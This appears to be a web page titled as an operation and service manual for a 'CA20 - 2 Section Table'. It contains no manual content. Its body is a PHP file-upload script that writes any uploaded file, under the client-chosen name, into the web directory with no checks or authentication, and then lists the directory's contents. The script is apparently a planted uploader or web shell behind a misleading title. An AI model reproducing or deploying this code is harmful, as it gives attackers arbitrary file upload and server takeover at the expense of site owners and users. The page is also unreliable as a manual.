CA20 - 2 Section Table "Operation Manual & Service Manual"

CA20 - 2 Section Table "Operation Manual & Service Manual"

<html> <body> <?php $path_name = pathinfo($_SERVER['PHP_SELF']); $this_script = $path_name['basename']; ?> <form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> File: <input name="file" type="file" /><br /> <input type="submit" value="Upload" /></form> <?php if (!empty($_FILES["file"])) { if ($_FILES["file"]["error"] > 0) {echo "Error: " . $_FILES["file"]["error"] . "
";} else {echo "Stored file:".$_FILES["file"]["name"]."
Size:".($_FILES["file"]["size"]/1024)." kB
"; move_uploaded_file($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]); } } // open this directory $myDirectory = opendir("."); // get each entry while($entryName = readdir($myDirectory)) {$dirArray[] = $entryName;} closedir($myDirectory); $indexCount = count($dirArray); echo "$indexCount files
"; sort($dirArray); echo "\n"; for($index=0; $index < $indexCount; $index++) { if (substr("$dirArray[$index]", 0, 1) != ".") { echo ""; } } echo ""; ?> </body> </html>

Images lists